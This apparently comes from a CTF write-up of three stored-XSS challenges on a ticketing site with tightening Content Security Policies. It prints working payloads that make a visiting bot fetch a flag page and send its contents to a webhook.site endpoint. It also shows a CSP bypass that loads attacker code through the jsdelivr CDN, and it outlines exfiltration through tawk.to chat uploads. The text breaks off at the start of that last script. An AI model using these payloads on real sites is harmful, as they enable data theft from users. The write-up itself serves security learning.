&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxg3cbv5dpfgn6y6zdzlq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxg3cbv5dpfgn6y6zdzlq.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Challenge Uno
&lt;/h1&gt;

&lt;p&gt;In this first challenge we can inject some html into the ticket's comments by sending our payload in the ticket comment section in the name field, after we create a ticket.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;csrfmiddlewaretoken=LiM4kODGhMxB0RIkXXzxlfv5qR9mLSBv8XOT85LpubTz4YlzJ2NhPVGOGY3Rc9b0
&amp;amp;creator='/&amp;gt;&amp;lt;h1&amp;gt;testing injection&amp;lt;/h1&amp;gt;
&amp;amp;body=test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo4zkneintyw4pwye5asr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo4zkneintyw4pwye5asr.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can also see that a bot(ticketbot) visits our ticket and closes it, this is important because the bot can probably see everyone's tickets including the one with our flag which right now we can't see. The bot only views our ticket once, after it closes our ticket it will not view our ticket again. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;That same behavior will be consistent through all three challenges.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The CSP policy is in all responses as a header:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Content-Security-Policy&lt;br&gt;
    default-src *; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net *.tawk.to; style-src 'self' https://cdn.jsdelivr.net *.tawk.to&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let's paste it in &lt;a href="https://csp-evaluator.withgoogle.com/" rel="noopener noreferrer"&gt;google's CSP validator&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy8rq5x8p372zfl92o6pd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy8rq5x8p372zfl92o6pd.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;unsafe-inline&lt;/code&gt; should stick out here, as well as the cdn but the &lt;code&gt;unsafe-inline&lt;/code&gt; allows us to use an inline script tag to execute JavaScript.&lt;/p&gt;

&lt;p&gt;Now let's try to run some JavaScript to build our payload! We should be able to execute something like an alert to prove that idea. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fez17gxu97cl8qu1w214o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fez17gxu97cl8qu1w214o.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Great now, how can trick the ticketbot into giving us the flag?&lt;/p&gt;

&lt;p&gt;My idea is as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Make the ticketbot visit the ticket where our flag is located&lt;/li&gt;
&lt;li&gt;Take the html from the page and get it out to somewhere we control&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;This applies in all three scenarios&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We can build our payload by using it on ourselves first, we'll write some JavaScript which will fetch the page where the flag is and send it's contents to a server we control, I like using &lt;a href="https://webhook.site" rel="noopener noreferrer"&gt;webhook.site&lt;/a&gt; for CTF's to do stuff like this. &lt;/p&gt;

&lt;p&gt;We can send the data over to webhook by creating an image tag which we'll append to the body of the page, we give this image a &lt;code&gt;src&lt;/code&gt; where the value is a server we control and append the data as a parameter(sending a post message is probably better but I like the image tag).&lt;/p&gt;

&lt;p&gt;I'm using &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API" rel="noopener noreferrer"&gt;fetch&lt;/a&gt; to make the requests which will return the response's body as text and that will then be sent with my image request in a parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;
// this is where the flag is
// we should receive the html 
// content of the page which says 
// we do not have access to that page

"'/&amp;gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/view/&amp;lt;ticket&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;
&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;    
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;img&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's send this as our payload which goes in the comment section once you create a ticket, and we should see a callback in our webhook: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhmm52zzaunh9m95c505h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhmm52zzaunh9m95c505h.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This works on us but if we try it against the ticketbot you'll find out it never triggers a request, after trying to figure out why I thought about checking what the URL of the current page is to see if that worked, this would allow me to get some information on where the ticketbot is coming from to know where my attack need to be directed to.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;"'/&amp;gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// our payload grabs the URL value of&lt;/span&gt;
&lt;span class="c1"&gt;// the current page&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;img&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After getting our own request we should get one from the ticketbot, showing the URL it's visiting from, this gives us more information for our attack: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We need to make the request to &lt;code&gt;http://127.0.0.1:9000/view/&amp;lt;ticket&amp;gt;&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fadyunnsej70oagn61mza.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fadyunnsej70oagn61mza.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our new payload will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'/&amp;gt;&amp;lt;script&amp;gt;
fetch(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//127.0.0.1:9000/view/&amp;lt;ticket&amp;gt;").&lt;/span&gt;
&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;
&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;    
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;img&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will trigger an error for us but the bot should be able to make that request for us. The original payload didn't work because I was making the request to port 80 where that page didn't exist. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnkeyfokwpeoa8nuo8jte.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnkeyfokwpeoa8nuo8jte.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next scenario can follow the same path to exploitation, but the CSP is a bit different as the &lt;code&gt;unsafe-inline&lt;/code&gt; is removed. &lt;/p&gt;

&lt;h1&gt;
  
  
  CSP Dos
&lt;/h1&gt;

&lt;p&gt;In the next challenge our changelog states: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Content-Security-Policy restricted to prevent execution of unauthorized javascript.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And if we check out CSP policy and paste in &lt;a href="https://csp-evaluator.withgoogle.com/" rel="noopener noreferrer"&gt;google's CSP validator&lt;/a&gt; we can see that &lt;code&gt;unsafe-inline&lt;/code&gt; has been removed from the &lt;code&gt;script-src&lt;/code&gt; list, but the cdn is still available. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;Content-Security-Policy&lt;br&gt;
    default-src *; script-src 'self' https://cdn.jsdelivr.net *.tawk.to; object-src 'self'; style-src 'self' https://cdn.jsdelivr.net *.tawk.to&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhq86mihrf2yebpx9ely3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhq86mihrf2yebpx9ely3.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With this CSP we are not allowed to execute inline JavaScript so we have to rely on the domains that have been allowed by the developers. In this case &lt;a href="https://www.jsdelivr.com/" rel="noopener noreferrer"&gt;https://www.jsdelivr.com/&lt;/a&gt; is a CDN that has a really cool feature, it allows us to serve JavaScript from a github repo. Using this we can host some malicious JavaScript that will do the same thing as the last challenge and send it somewhere we control.&lt;/p&gt;

&lt;p&gt;I used this &lt;code&gt;https://github.com/nerdyamigo/cdnxss/blob/main/xss-poc.js&lt;/code&gt; which can be served from the cdn that's allowed to execute scripts, just paste a link to the code you want to serve from github and grab the link from &lt;a href="https://www.jsdelivr.com/github" rel="noopener noreferrer"&gt;https://www.jsdelivr.com/github&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://127.0.0.1:9000/view/&amp;lt;ticket&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Served from &lt;code&gt;https://cdn.jsdelivr.net/gh/nerdyamigo/cdnxss@main/xss-poc.js&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;Our payload this time is using an external script that is allowed to execute JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;'/&amp;gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://cdn.jsdelivr.net/gh/nerdyamigo/cdnxss@main/xss-poc.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using this we will again see a failed request on our side but the ticketbot should be able to view page we requested and send us our flag. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa6g5q79i4z0lxybk7bow.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa6g5q79i4z0lxybk7bow.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next challenge is a bit different and using the cdn can work but connections outside the allowed ones are not allowed, however we do have one more source where connections are allowed. &lt;/p&gt;

&lt;h1&gt;
  
  
  CSP Tres
&lt;/h1&gt;

&lt;p&gt;Changelog:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Further Content-Security-Policy update to limit javascript interactions to only specifically permitted endpoints.&lt;/li&gt;
&lt;li&gt;Content-Security-Policy restricted to prevent execution of unauthorized javascript.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As in the previous challenges we'll start with checking the CSP header.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Content-Security-Policy&lt;br&gt;
    default-src 'none'; script-src 'self' https://cdn.jsdelivr.net *.tawk.to; object-src 'self'; style-src 'self' https://cdn.jsdelivr.net *.tawk.to; img-src 'self' *.tawk.to; media-src 'self'; frame-src 'self'; font-src 'self'; connect-src 'self' *.tawk.to wss://*.tawk.to&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvt3tbpzb1u2hpd50utkr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvt3tbpzb1u2hpd50utkr.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we see that the only thing being called out is the cdn, we can still execute from there but we can't make any callbacks to our server because of the &lt;code&gt;connect-src&lt;/code&gt; directive, which explicitly states what we can cam make requests out to. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;connect-src 'self' *.tawk.to wss://*.tawk.to&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;The interesting part here is the domain &lt;code&gt;tawk.to&lt;/code&gt; - this is a service that allows you to have a chat popup in your application, by only adding some javascript, this domain is also in our &lt;code&gt;script-src&lt;/code&gt;, so it's allowed to run JavaScript.&lt;/p&gt;

&lt;p&gt;Looking at the service, and the documentation &lt;a href="https://developer.tawk.to/jsapi/" rel="noopener noreferrer"&gt;here&lt;/a&gt;, I tried opening the chat by going to the dev console in the browser and using: &lt;/p&gt;

&lt;p&gt;&lt;code&gt;window.Tawk_API.popup();&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F08n982ralpd8446uk7ks.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F08n982ralpd8446uk7ks.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Awesome, we can open the popup, but now what? &lt;/p&gt;

&lt;p&gt;Tawk.to is free to use, so we can signup for an account and get our own chat. Because our injection still exists, we can use the cdn to load the tawk script for our chat and execute it from there. &lt;/p&gt;

&lt;p&gt;I did it this way so I could also perform the exploit right after my chat was loaded. &lt;/p&gt;

&lt;p&gt;Using this I was able to load a chat I controlled on the page, I spent a lot of time trying to figure out how to send the html that had the flag to somewhere I controlled, the only option was to send it &lt;code&gt;tawk.to&lt;/code&gt; and somehow retrieve it. I tried to use websockets to send it to the open chat but that didn't work, so I hit up Alex and asked about my approach - he mentioned uploads and I started playing with that.&lt;/p&gt;

&lt;p&gt;There's a few things I found out about how the chat functionality works that will help explain how to exploit it to send our data to somewhere we can control.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can view chats in your tawk.to dashboard&lt;/li&gt;
&lt;li&gt;The client and you can upload files&lt;/li&gt;
&lt;li&gt;The client uploads sends a post to &lt;code&gt;https://upload.tawk.to/upload/visitor-chat/visitor?handle=0c47125a3139b11ae32bd67965c9a0f461d1c92c&amp;amp;visitorSessionId=61860b2ece40c32e3e38daad&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;When you upload something from the dashboard it goes to &lt;code&gt;https://upload.tawk.to/upload/page/agent?handle=097401fa71979d51c80167449a189a134b20a19b&amp;amp;pageId=61830caa6bb0760a494106d7&amp;amp;agentSessionId=6185ddfe69d9e2&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I tried uploading to the &lt;code&gt;/visitor&lt;/code&gt; endpoint but I could only upload once and then would get &lt;code&gt;500&lt;/code&gt; errors on any subsequent &lt;code&gt;POST&lt;/code&gt; to that endpoint. The agent however can upload to the &lt;code&gt;/upload/page/agent&lt;/code&gt; route as many times as possible and the files can be retrieved by checking the response and grabbing the url that is provided for the file:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://tawk.link/61830caa6bb0760a494106d7/a/61830c9a69d9e20b02e41112/097401fa71979d51c80167449a189a134b20a19b/test2&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Any file posted while the chat is going on can be reached by its filename using the route that is provided for this chat. To get the route send an attachment to an active chat from the tawk.to dashboard and grab the URL to the file, since we control the filename and it doesn't change we can visit the file we created with the contents of the ticket with the flag. &lt;/p&gt;

&lt;p&gt;So now what? &lt;/p&gt;

&lt;p&gt;Here is my idea: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Make the bot view the ticket with the flag&lt;/li&gt;
&lt;li&gt;Steal the contents of the flag&lt;/li&gt;
&lt;li&gt;Somehow put the contents in a file and upload it to the chat we have opened using the &lt;code&gt;/agent/&lt;/code&gt; route. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All this can be done all in JavaScript, hosted on github and served from the cdn that is allowed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Tawk_API&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;Tawk_API&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="nx"&gt;Tawk_LoadStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
